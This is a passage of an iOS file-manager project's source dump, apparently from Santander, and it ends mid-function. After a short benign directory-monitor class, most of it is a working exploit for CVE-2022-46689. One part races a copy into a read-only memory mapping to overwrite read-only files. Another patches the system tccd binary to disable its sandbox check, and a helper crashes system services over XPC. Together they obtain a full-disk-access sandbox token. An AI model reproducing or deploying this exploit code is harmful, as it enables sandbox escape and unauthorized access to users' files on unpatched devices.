var directoryMonitorSource: DispatchSource?
/// URL for the directory being monitored.
var path: Path
init(path: Path) {
self.path = path
}
// MARK: Monitoring
func startMonitoring() {
// Listen for changes to the directory (if we are not already).
if directoryMonitorSource == nil && monitoredDirectoryFileDescriptor == -1 {
// Open the directory referenced by URL for monitoring only.
monitoredDirectoryFileDescriptor = open((path.url as NSURL).fileSystemRepresentation, O_EVTONLY)
// We initialize directoryMonitorSource only if the path is readable
// otherwise, we'd encounter a crash
if path.isReadable {
// Define a dispatch source monitoring the directory for additions, deletions, and renamings.
directoryMonitorSource = DispatchSource.makeFileSystemObjectSource(fileDescriptor: monitoredDirectoryFileDescriptor, eventMask: .all, queue: directoryMonitorQueue) as? DispatchSource
}
// Define the block to call when a file change is detected.
directoryMonitorSource?.setEventHandler {
// Call out to the `DirectoryMonitorDelegate` so that it can react appropriately to the change.
self.delegate?.directoryMonitorDidObserveChange(directoryMonitor: self)
}
// Define a cancel handler to ensure the directory is closed when the source is cancelled.
directoryMonitorSource?.setCancelHandler {
close(self.monitoredDirectoryFileDescriptor)
self.monitoredDirectoryFileDescriptor = -1
self.directoryMonitorSource = nil
}
// Start monitoring the directory via the source.
directoryMonitorSource?.resume()
}
}
func stopMonitoring() {
// Stop listening for changes to the directory, if the source has been created.
if directoryMonitorSource != nil {
// Stop monitoring the directory via the source.
directoryMonitorSource?.cancel()
}
}
}
================================================
FILE: Santander/Other/Exploit/grant_full_disk_access.h
================================================
// header for grant_full_disk_access created by haxi0
@import Foundation;
#ifndef grant_full_disk_access_
#define grant_full_disk_access_h
#include <stdio.h>
void grant_full_disk_access(void (^completion)(NSError* _Nullable));
#endif /* grant_full_disk_access_h */
================================================
FILE: Santander/Other/Exploit/grant_full_disk_access.m
================================================
@import Darwin;
@import Foundation;
@import MachO;
#import <mach-o/fixup-chains.h>
// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from
// WDBFontOverwrite
// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything)
// Please don't call this code on iOS 14 or below
// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot)
#import "helpers.h"
#import "vm_unaligned_copy_switch_race.h"
typedef NSObject* xpc_object_t;
typedef xpc_object_t xpc_connection_t;
typedef void (^xpc_handler_t)(xpc_object_t object);
xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys,
xpc_object_t _Nullable const* values, size_t count);
xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq,
uint64_t flags);
void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler);
void xpc_connection_resume(xpc_connection_t connection);
void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message,
dispatch_queue_t replyq, xpc_handler_t handler);
xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection,
xpc_object_t message);
xpc_object_t xpc_bool_create(bool value);
xpc_object_t xpc_string_create(const char* string);
xpc_object_t xpc_null_create(void);
const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key);
int64_t sandbox_extension_consume(const char* token);
// MARK: - patchfind
struct grant_full_disk_access_offsets {
uint64_t offset_addr_s_com_apple_tcc_;
uint64_t offset_padding_space_for_read_write_string;
uint64_t offset_addr_s_kTCCServiceMediaLibrary;
uint64_t offset_auth_got__sandbox_init;
uint64_t offset_just_return_0;
bool is_arm64e;
};
static bool patchfind_sections(void* executable_map,
struct segment_command_64** data_const_segment_out,
struct symtab_command** symtab_out,
struct dysymtab_command** dysymtab_out) {
struct mach_header_64* executable_header = executable_map;
struct load_command* load_command = executable_map + sizeof(struct mach_header_64);
for (int load_command_index = 0; load_command_index < executable_header->ncmds;
load_command_index++) {
switch (load_command->cmd) {
case LC_SEGMENT_64: {
struct segment_command_64* segment = (struct segment_command_64*)load_command;
if (strcmp(segment->segname, "__DATA_CONST") == 0) {
*data_const_segment_out = segment;
}
break;
}
case LC_SYMTAB: {
*symtab_out = (struct symtab_command*)load_command;
break;
}
case LC_DYSYMTAB: {
*dysymtab_out = (struct dysymtab_command*)load_command;
break;
}
}
load_command = ((void*)load_command) + load_command->cmdsize;
}
return true;
}
static uint64_t patchfind_get_padding(struct segment_command_64* segment) {
struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64);
struct section_64* last_section = §ion_array[segment->nsects - 1];
return last_section->offset + last_section->size;
}
static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length,
const char* needle) {
void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
if (!str_offset) {
return 0;
}
uint64_t str_file_offset = str_offset - executable_map;
for (int i = 0; i < executable_length; i += 8) {
uint64_t val = *(uint64_t*)(executable_map + i);
if ((val & 0xfffffffful) == str_file_offset) {
return i;
}
}
return 0;
}
static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) {
// TCCDSyncAccessAction::sequencer
// mov x0, #0
// ret
static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6};
void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
if (!offset) {
return 0;
}
return offset - executable_map;
}
static uint64_t patchfind_got(void* executable_map, size_t executable_length,
struct segment_command_64* data_const_segment,
struct symtab_command* symtab_command,
struct dysymtab_command* dysymtab_command,
const char* target_symbol_name) {
uint64_t target_symbol_index = 0;
for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) {
struct nlist_64* sym =
((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index;
const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx;
if (strcmp(sym_name, target_symbol_name)) {
continue;
}
// printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map));
target_symbol_index = sym_index;
break;
}
struct section_64* section_array =
((void*)data_const_segment) + sizeof(struct segment_command_64);
struct section_64* first_section = §ion_array[0];
if (!(strcmp(first_section->sectname, "__auth_got") == 0 ||
strcmp(first_section->sectname, "__got") == 0)) {
return 0;
}
uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff;
for (int i = 0; i < first_section->size; i += 8) {
uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i);
uint64_t indirect_table_entry = (val & 0xfffful);
if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) {
return first_section->offset + i;
}
}
return 0;
}
static bool patchfind(void* executable_map, size_t executable_length,
struct grant_full_disk_access_offsets* offsets) {
struct segment_command_64* data_const_segment = nil;
struct symtab_command* symtab_command = nil;
struct dysymtab_command* dysymtab_command = nil;
if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
&dysymtab_command)) {
printf("no sections\n");
return false;
}
if ((offsets->offset_addr_s_com_apple_tcc_ =
patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) {
printf("no com.apple.tcc. string\n");
return false;
}
if ((offsets->offset_padding_space_for_read_write_string =
patchfind_get_padding(data_const_segment)) == 0) {
printf("no padding\n");
return false;
}
if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string(
executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) {
printf("no kTCCServiceMediaLibrary string\n");
return false;
}
if ((offsets->offset_auth_got__sandbox_init =
patchfind_got(executable_map, executable_length, data_const_segment, symtab_command,
dysymtab_command, "_sandbox_init")) == 0) {
printf("no sandbox_init\n");
return false;
}
if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) ==
0) {
printf("no just return 0\n");
return false;
}
struct mach_header_64* executable_header = executable_map;
offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E;
return true;
}
// MARK: - tccd patching
static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) {
// reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can
// re-use it until next reboot.
// Returns the sandbox token if there is one, or nil if there isn't one.
xpc_connection_t connection = xpc_connection_create_mach_service(
"com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0);
xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {
NSLog(@"xpc event handler: %@", object);
});
xpc_connection_resume(connection);
const char* keys[] = {
"TCCD_MSG_ID", "function", "service", "require_purpose", "preflight",
"target_token", "background_session",
};
xpc_object_t values[] = {
xpc_string_create("17087.1"),
xpc_string_create("TCCAccessRequest"),
xpc_string_create("com.apple.app-sandbox.read-write"),
xpc_null_create(),
xpc_bool_create(false),
xpc_null_create(),
xpc_bool_create(false),
};
xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys));
#if 0
xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message);
NSLog(@"%@", response_message);
#endif
xpc_connection_send_message_with_reply(
connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0),
^(xpc_object_t object) {
if (!object) {
NSLog(@"object is nil???");
completion(nil);
return;
}
NSLog(@"response: %@", object);
if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) {
NSLog(@"xpc error?");
completion(nil);
return;
}
NSLog(@"debug description: %@", [object debugDescription]);
const char* extension_string = xpc_dictionary_get_string(object, "extension");
NSString* extension_nsstring =
extension_string ? [NSString stringWithUTF8String:extension_string] : nil;
completion(extension_nsstring);
});
}
static NSData* patchTCCD(void* executableMap, size_t executableLength) {
struct grant_full_disk_access_offsets offsets = {};
if (!patchfind(executableMap, executableLength, &offsets)) {
return nil;
}
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
// strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr);
char* mutableBytes = data.mutableBytes;
{
// rewrite com.apple.tcc. into blank string
*(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0;
}
{
// make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write"
// we need to stick this somewhere; just put it in the padding between
// the end of __objc_arrayobj and the end of __DATA_CONST
strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string),
"com.apple.app-sandbox.read-write");
struct dyld_chained_ptr_arm64e_rebase targetRebase =
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
offsets.offset_addr_s_kTCCServiceMediaLibrary);
targetRebase.target = offsets.offset_padding_space_for_read_write_string;
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
offsets.offset_addr_s_kTCCServiceMediaLibrary) =
targetRebase;
*(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) =
strlen("com.apple.app-sandbox.read-write");
}
if (offsets.is_arm64e) {
// make sandbox_init call return 0;
struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = {
.auth = 1,
.bind = 0,
.next = 1,
.key = 0, // IA
.addrDiv = 1,
.diversity = 0,
.target = offsets.offset_just_return_0,
};
*(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
offsets.offset_auth_got__sandbox_init) =
targetRebase;
} else {
// make sandbox_init call return 0;
struct dyld_chained_ptr_64_rebase targetRebase = {
.bind = 0,
.next = 2,
.target = offsets.offset_just_return_0,
};
*(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) =
targetRebase;
}
return data;
}
static bool overwrite_file(int fd, NSData* sourceData) {
for (int off = 0; off < sourceData.length; off += 0x4000) {
bool success = false;
for (int i = 0; i < 2; i++) {
if (unaligned_copy_switch_race(
fd, off, sourceData.bytes + off,
off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) {
success = true;
break;
}
}
if (!success) {
return false;
}
}
return true;
}
static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token,
NSError* _Nullable error)) {
char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd";
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
if (fd == -1) {
// iOS 15.3 and below
targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd";
fd = open(targetPath, O_RDONLY | O_CLOEXEC);
}
off_t targetLength = lseek(fd, 0, SEEK_END);
lseek(fd, 0, SEEK_SET);
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
NSData* sourceData = patchTCCD(targetMap, targetLength);
if (!sourceData) {
completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:5
userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]);
return;
}
if (!overwrite_file(fd, sourceData)) {
overwrite_file(fd, originalData);
munmap(targetMap, targetLength);
completion(
nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:1
userInfo:@{
NSLocalizedDescriptionKey : @"Can't overwrite file: your device may "
@"not be vulnerable to CVE-2022-46689."
}]);
return;
}
munmap(targetMap, targetLength);
xpc_crasher("com.apple.tccd");
sleep(1);
call_tccd(^(NSString* _Nullable extension_token) {
overwrite_file(fd, originalData);
xpc_crasher("com.apple.tccd");
NSError* returnError = nil;
if (extension_token == nil) {
returnError =
[NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:2
userInfo:@{
NSLocalizedDescriptionKey : @"tccd did not return an extension token."
}];
} else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) {
returnError = [NSError
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:3
userInfo:@{
NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token "
@"instead of an app sandbox token."
}];
extension_token = nil;
}
completion(extension_token, returnError);
});
}
void grant_full_disk_access(void (^completion)(NSError* _Nullable)) {
if (!NSClassFromString(@"NSPresentationIntent")) {
// class introduced in iOS 15.0.
// TODO(zhuowei): maybe check the actual OS version instead?
completion([NSError
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:6
userInfo:@{
NSLocalizedDescriptionKey :
@"Not supported on iOS 14 and below: on iOS 14 the system partition is not "
@"reverted after reboot, so running this may permanently corrupt tccd."
}]);
return;
}
NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory
inDomains:NSUserDomainMask][0];
NSURL* sourceURL =
[documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"];
NSError* error = nil;
NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL
encoding:NSUTF8StringEncoding
error:&error];
if (cachedToken) {
int64_t handle = sandbox_extension_consume(cachedToken.UTF8String);
if (handle > 0) {
// cached version worked
completion(nil);
return;
}
}
grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) {
if (error) {
completion(error);
return;
}
int64_t handle = sandbox_extension_consume(extension_token.UTF8String);
if (handle <= 0) {
completion([NSError
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:4
userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]);
return;
}
[extension_token writeToURL:sourceURL
atomically:true
encoding:NSUTF8StringEncoding
error:&error];
completion(nil);
});
}
================================================
FILE: Santander/Other/Exploit/helpers.h
================================================
#ifndef helpers_h
#define helpers_h
char* get_temp_file_path(void);
void test_nsexpressions(void);
char* set_up_tmp_file(void);
void xpc_crasher(char* service_name);
void respringBackboard(void);
void respringFrontboard(void);
#define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL))
#endif /* helpers_h */
================================================
FILE: Santander/Other/Exploit/helpers.m
================================================
#import <Foundation/Foundation.h>
#include <string.h>
#include <mach/mach.h>
#include <dirent.h>
char* get_temp_file_path(void) {
return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]);
}
// create a read-only test file we can target:
char* set_up_tmp_file(void) {
char* path = get_temp_file_path();
printf("path: %s\n", path);
FILE* f = fopen(path, "w");
if (!f) {
printf("opening the tmp file failed...\n");
return NULL;
}
char* buf = malloc(PAGE_SIZE*10);
memset(buf, 'A', PAGE_SIZE*10);
fwrite(buf, PAGE_SIZE*10, 1, f);
//fclose(f);
return path;
}
kern_return_t
bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);
struct xpc_w00t {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_port_descriptor_t client_port;
mach_msg_port_descriptor_t reply_port;
};
mach_port_t get_send_once(mach_port_t recv) {
mach_port_t so = MACH_PORT_NULL;
mach_msg_type_name_t type = 0;
kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
if (err != KERN_SUCCESS) {
printf("port right extraction failed: %s\n", mach_error_string(err));
return MACH_PORT_NULL;
}
printf("made so: 0x%x from recv: 0x%x\n", so, recv);
return so;
}
// copy-pasted from an exploit I wrote in 2019...
// still works...
// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html )
void xpc_crasher(char* service_name) {
mach_port_t client_port = MACH_PORT_NULL;
mach_port_t reply_port = MACH_PORT_NULL;
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
if(err != KERN_SUCCESS){
printf("unable to look up %s\n", service_name);
return;
}
if (service_port == MACH_PORT_NULL) {
printf("bad service port\n");
return;
}
// allocate the client and reply port:
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
if (err != KERN_SUCCESS) {
printf("port allocation failed: %s\n", mach_error_string(err));
return;
}
mach_port_t so0 = get_send_once(client_port);
mach_port_t so1 = get_send_once(client_port);
// insert a send so we maintain the ability to send to this port
err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
if (err != KERN_SUCCESS) {
printf("port right insertion failed: %s\n", mach_error_string(err));
return;
}
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
if (err != KERN_SUCCESS) {
printf("port allocation failed: %s\n", mach_error_string(err));
return;
}
struct xpc_w00t msg;
memset(&msg.hdr, 0, sizeof(msg));
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
msg.hdr.msgh_size = sizeof(msg);
msg.hdr.msgh_remote_port = service_port;
msg.hdr.msgh_id = 'w00t';
msg.body.msgh_descriptor_count = 2;
msg.client_port.name = client_port;
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
msg.reply_port.name = reply_port;
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
err = mach_msg(&msg.hdr,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
msg.hdr.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
printf("w00t message send failed: %s\n", mach_error_string(err));
return;
} else {
printf("sent xpc w00t message\n");
}
mach_port_deallocate(mach_task_self(), so0);
mach_port_deallocate(mach_task_self(), so1);
return;
}
void respringBackboard(void) {
xpc_crasher("com.apple.backboard.TouchDeliveryPolicyServer");
}
void respringFrontboard(void) {
// NOTE: This will not kill your app on some versions
// You may also need to exit(0) afterwards
xpc_crasher("com.apple.frontboard.systemappservices");
}
================================================
FILE: Santander/Other/Exploit/vm_unaligned_copy_switch_race.c
================================================
// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c
// modified to compile outside of XNU
#include <pthread.h>
#include <dispatch/dispatch.h>
#include <stdio.h>
#include <mach/mach_init.h>
#include <mach/mach_port.h>
#include <mach/vm_map.h>
#include <fcntl.h>
#include <sys/mman.h>
#include "vm_unaligned_copy_switch_race.h"
#define T_QUIET
#define T_EXPECT_MACH_SUCCESS(a, b)
#define T_EXPECT_MACH_ERROR(a, b, c)
#define T_ASSERT_MACH_SUCCESS(a, b, ...)
#define T_ASSERT_MACH_ERROR(a, b, c)
#define T_ASSERT_POSIX_SUCCESS(a, b)
#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
#define T_ASSERT_TRUE(a, b, ...)
#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
#define T_DECL(a, b) static void a(void)
#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
struct context1 {
vm_size_t obj_size;
vm_address_t e0;
mach_port_t mem_entry_ro;
mach_port_t mem_entry_rw;
dispatch_semaphore_t running_sem;
pthread_mutex_t mtx;
volatile bool done;
};
static void *
switcheroo_thread(__unused void *arg)
{
kern_return_t kr;
struct context1 *ctx;
ctx = (struct context1 *)arg;
/* tell main thread we're ready to run */
dispatch_semaphore_signal(ctx->running_sem);
while (!ctx->done) {
/* wait for main thread to be done setting things up */
pthread_mutex_lock(&ctx->mtx);
if (ctx->done) {
pthread_mutex_unlock(&ctx->mtx);
break;
}
/* switch e0 to RW mapping */
kr = vm_map(mach_task_self(),
&ctx->e0,
ctx->obj_size,
0, /* mask */
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
ctx->mem_entry_rw,
0,
FALSE, /* copy */
VM_PROT_READ | VM_PROT_WRITE,
VM_PROT_READ | VM_PROT_WRITE,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW");
/* wait a little bit */
usleep(100);
/* switch bakc to original RO mapping */
kr = vm_map(mach_task_self(),
&ctx->e0,
ctx->obj_size,
0, /* mask */
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
ctx->mem_entry_ro,
0,
FALSE, /* copy */
VM_PROT_READ,
VM_PROT_READ,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO");
/* tell main thread we're don switching mappings */
pthread_mutex_unlock(&ctx->mtx);
usleep(100);
}
return NULL;
}
bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length) {
bool retval = false;
pthread_t th = NULL;
int ret;
kern_return_t kr;
time_t start, duration;
#if 0
mach_msg_type_number_t cow_read_size;
#endif
vm_size_t copied_size;
int loops;
vm_address_t e2, e5;
struct context1 context1, *ctx;
int kern_success = 0, kern_protection_failure = 0, kern_other = 0;
vm_address_t ro_addr, tmp_addr;
memory_object_size_t mo_size;
ctx = &context1;
ctx->obj_size = 256 * 1024;
void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset);
if (file_mapped == MAP_FAILED) {
fprintf(stderr, "failed to map\n");
return false;
}
if (!memcmp(file_mapped, overwrite_data, overwrite_length)) {
fprintf(stderr, "already the same?\n");
munmap(file_mapped, ctx->obj_size);
return true;
}
ro_addr = (vm_address_t)file_mapped;
ctx->e0 = 0;
ctx->running_sem = dispatch_semaphore_create(0);
T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create");
ret = pthread_mutex_init(&ctx->mtx, NULL);
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init");
ctx->done = false;
ctx->mem_entry_rw = MACH_PORT_NULL;
ctx->mem_entry_ro = MACH_PORT_NULL;
#if 0
/* allocate our attack target memory */
kr = vm_allocate(mach_task_self(),
&ro_addr,
ctx->obj_size,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr");
/* initialize to 'A' */
memset((char *)ro_addr, 'A', ctx->obj_size);
#endif
/* make it read-only */
kr = vm_protect(mach_task_self(),
ro_addr,
ctx->obj_size,
TRUE, /* set_maximum */
VM_PROT_READ);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr");
/* make sure we can't get read-write handle on that target memory */
mo_size = ctx->obj_size;
kr = mach_make_memory_entry_64(mach_task_self(),
&mo_size,
ro_addr,
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
&ctx->mem_entry_ro,
MACH_PORT_NULL);
T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO");
/* take read-only handle on that target memory */
mo_size = ctx->obj_size;
kr = mach_make_memory_entry_64(mach_task_self(),
&mo_size,
ro_addr,
MAP_MEM_VM_SHARE | VM_PROT_READ,
&ctx->mem_entry_ro,
MACH_PORT_NULL);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO");
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
/* make sure we can't map target memory as writable */
tmp_addr = 0;
kr = vm_map(mach_task_self(),
&tmp_addr,
ctx->obj_size,
0, /* mask */
VM_FLAGS_ANYWHERE,
ctx->mem_entry_ro,
0,
FALSE, /* copy */
VM_PROT_READ,
VM_PROT_READ | VM_PROT_WRITE,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
tmp_addr = 0;
kr = vm_map(mach_task_self(),
&tmp_addr,
ctx->obj_size,
0, /* mask */
VM_FLAGS_ANYWHERE,
ctx->mem_entry_ro,
0,
FALSE, /* copy */
VM_PROT_READ | VM_PROT_WRITE,
VM_PROT_READ | VM_PROT_WRITE,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
/* allocate a source buffer for the unaligned copy */
kr = vm_allocate(mach_task_self(),
&e5,
ctx->obj_size * 2,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5");
/* initialize to 'C' */
memset((char *)e5, 'C', ctx->obj_size * 2);
char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1);
memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length);
int overwrite_first_diff_offset = -1;
char overwrite_first_diff_value = 0;
for (int off = 0; off < overwrite_length; off++) {
if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) {
overwrite_first_diff_offset = off;
overwrite_first_diff_value = ((char*)ro_addr)[off];
}
}
if (overwrite_first_diff_offset == -1) {
fprintf(stderr, "no diff?\n");
return false;
}
/*
* get a handle on some writable memory that will be temporarily
* switched with the read-only mapping of our target memory to try
* and trick copy_unaligned to write to our read-only target.
*/
tmp_addr = 0;
kr = vm_allocate(mach_task_self(),
&tmp_addr,
ctx->obj_size,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory");
/* initialize to 'D' */
memset((char *)tmp_addr, 'D', ctx->obj_size);
/* get a memory entry handle for that RW memory */
mo_size = ctx->obj_size;
kr = mach_make_memory_entry_64(mach_task_self(),
&mo_size,
tmp_addr,
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
&ctx->mem_entry_rw,
MACH_PORT_NULL);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW");
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr);
tmp_addr = 0;
pthread_mutex_lock(&ctx->mtx);
/* start racing thread */
ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx);
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create");
/* wait for racing thread to be ready to run */
dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER);
duration = 10; /* 10 seconds */
T_LOG("Testing for %ld seconds...", duration);
for (start = time(NULL), loops = 0;
time(NULL) < start + duration;
loops++) {
/* reserve space for our 2 contiguous allocations */
e2 = 0;
kr = vm_allocate(mach_task_self(),
&e2,
2 * ctx->obj_size,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0");
/* make 1st allocation in our reserved space */
kr = vm_allocate(mach_task_self(),
&e2,
ctx->obj_size,
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240));
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2");
/* initialize to 'B' */
memset((char *)e2, 'B', ctx->obj_size);
/* map our read-only target memory right after */
ctx->e0 = e2 + ctx->obj_size;
kr = vm_map(mach_task_self(),
&ctx->e0,
ctx->obj_size,
0, /* mask */
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241),
ctx->mem_entry_ro,
0,
FALSE, /* copy */
VM_PROT_READ,
VM_PROT_READ,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro");
/* let the racing thread go */
pthread_mutex_unlock(&ctx->mtx);
/* wait a little bit */
usleep(100);
/* trigger copy_unaligned while racing with other thread */
kr = vm_read_overwrite(mach_task_self(),
e5,
ctx->obj_size - 1 + overwrite_length,
e2 + 1,
&copied_size);
T_QUIET;
T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE,
"vm_read_overwrite kr %d", kr);
switch (kr) {
case KERN_SUCCESS:
/* the target was RW */
kern_success++;
break;
